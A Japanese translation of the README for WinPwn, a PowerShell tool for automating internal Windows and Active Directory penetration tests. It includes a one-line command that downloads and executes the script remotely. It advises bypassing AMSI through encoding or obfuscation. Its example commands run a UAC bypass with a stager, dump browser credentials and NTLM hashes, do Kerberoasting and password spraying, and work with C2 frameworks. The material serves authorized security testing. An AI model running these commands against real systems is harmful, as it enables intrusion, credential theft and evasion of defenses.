
内部Windowsペネトレーションテスト / ADセキュリティの自動化
これまでの内部ペネトレーションテストにおいて、既存のPowerShell偵察・エクスプロイトスクリプトはプロキシ非対応であることが多く、問題を抱えていました。また、現在のシステムやドメインの情報を得るために、同じスクリプトを連続して実行することもよくありました。そこで、社内のペネトレーションテストプロセス(偵察およびエクスプロイト)の自動化とプロキシ対応のために、自動プロキシ認識と統合を行う独自スクリプトを作成しました。このスクリプトは、主に既知の大規模なオフェンシブセキュリティPowerShellプロジェクトを基にしています。
提案、フィードバック、プルリクエスト、コメントは大歓迎です!
以下のようにモジュールをインポートしてください:
Import-Module .\WinPwn.ps1 または
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')
AMSIをバイパスするには、既存のバイパス手法のいずれかを使用し、AMSIトリガーを見つけて、バイパス関数内で手動で変更するか、トリガー文字列をエンコードしてください。または、スクリプト全体を難読化することもできます。
インターネットにアクセスできないWindowsシステムで行き詰まった場合でも問題ありません。Offline_Winpwn.ps1を使用するだけで、最も重要なスクリプトと実行ファイルが含まれています。
インポート後に使用可能な関数:
WinPwn -> 攻撃を選択するメニュー:
Inveigh -> 新しいコンソールウィンドウでInveighを実行、セッション管理機能(Invoke-TheHash)を統合したSMBリレー攻撃SessionGopher -> SessionGopherを実行し、パラメータの入力を求めるKittielocal ->Localreconmodules ->パラメータなしの場合、ほとんどの関数は対話型シェルからのみ使用できます。そこで、パラメータ -noninteractive および -consoleoutput を追加して、Empire、Covenant、Cobalt Strikeなどの非同期C2フレームワークからもスクリプトを使用できるようにしました。さらに、ローカルリポジトリからWinPwnの全機能を使用するための -repo パラメータも追加されました。使用方法は以下の通りです:
使用方法:
-noninteractive -> 関数に対する質問を表示せず、事前定義されたまたはユーザー定義のパラメータで実行
-consoleoutput -> loot/reportフォルダは作成されません。すべての関数の出力がコンソールに返されるため、C2フレームワークのエージェントログで確認できます。
例:
WinPwn -noninteractive -consoleoutput -DomainRecon -> すべてのドメイン偵察スクリプトと関数を実行し、おそらく大量の出力を生成します。
WinPwn -noninteractive -consoleoutput -Localrecon -> ローカルシステムに関する可能な限り多くの情報を列挙します。
Generalrecon -noninteractive -> 基本的なローカル偵察関数を実行し、出力を対応するフォルダに保存します。
UACBypass -noninteractive -command "C:\temp\stager.exe" -technique ccmstp -> 低権限セッションから高整合性プロセスでステージャーを実行します。
Kittielocal -noninteractive -consoleoutput -browsercredentials -> SharpWebを介してブラウザ資格情報をダンプし、出力をコンソールに返します。
Kittielocal -noninteractive -browsercredentials -> SAMファイルのNTLMハッシュをダンプし、出力をファイルに保存します。
WinPwn -PowerSharpPack -consoleoutput -noninteractive -> Seatbelt、PowerUp、WatsonなどのC#バイナリをメモリ内で実行します。
Dotnetsearch -consoleoutput -noninteractive -> C:\Program Files\ および C:\Program Files (x86)\ 内の.NETアセンブリを検索します。
WinPwn -repo http://192.168.1.10:8000/WinPwn_Repo -> ローカルWebサーバーをオフラインリポジトリとして使用し、インターネットアクセスなしでWinPwnを使用します。
Get_WinPwn_Repo.sh:
使用方法: ./Get_WinPwn_Repo.sh {オプション}
例: ./Get_WinPwn_Repo.sh --install
オプション: --install リポジトリをダウンロードし、./WinPwn_Repo/ に配置します。 --remove リポジトリ ./WinPwn_Repo/ を削除します。 --reinstall リポジトリを削除し、新しいものを ./WinPwn_Repo/ にダウンロードします。 --start-server ポート8000でPython HTTPサーバーを起動します。 --help このヘルプを表示します。
事前の相互同意なくターゲットを攻撃するためにWinPwnを使用することは違法です。該当するすべての地域、州、連邦法を遵守するのはエンドユーザーの責任です。開発者は一切の責任を負わず、このプログラムの誤用や損害について責任を負いません。教育目的でのみ使用してください。
DomainreconmodulesPrivescmoduleskernelexploits ->UACBypass ->SYSTEMShell ->Shareenumeration -> Invoke-Filefinder および Invoke-Sharefinder (Powerview / Powersploit)Domainshares -> Snaffler または Passhunt による全ドメインシステムの検索Groupsearch -> Get-DomainGPOUserLocalGroupMapping - グループポリシーマッピングを介して管理者アクセスまたはRDPアクセスがあるシステムを検出 (Powerview / Powersploit)Kerberoasting -> 新しいウィンドウでInvoke-Kerberoastを実行し、後でクラックするためにハッシュを保存PowerSQL -> SQL Serverの検出、現在のユーザーでのアクセス確認、デフォルト資格情報の監査 + UNCPathインジェクション攻撃Sharphound -> Bloodhound 3.0 レポートAdidnsmenu -> Active Directory統合DNSノードの作成または削除MS17-10 -> ドメイン内のアクティブなWindowsサーバーまたは全システムをMS17-10(Eternalblue)の脆弱性についてスキャンSharpcradle -> リモートWebサーバーからC#ファイルをRAMにロードDomainPassSpray -> DomainPasswordSpray攻撃、すべてのドメインユーザーに対して1つのパスワードBluekeep -> ドメインシステムのBluekeepスキャナー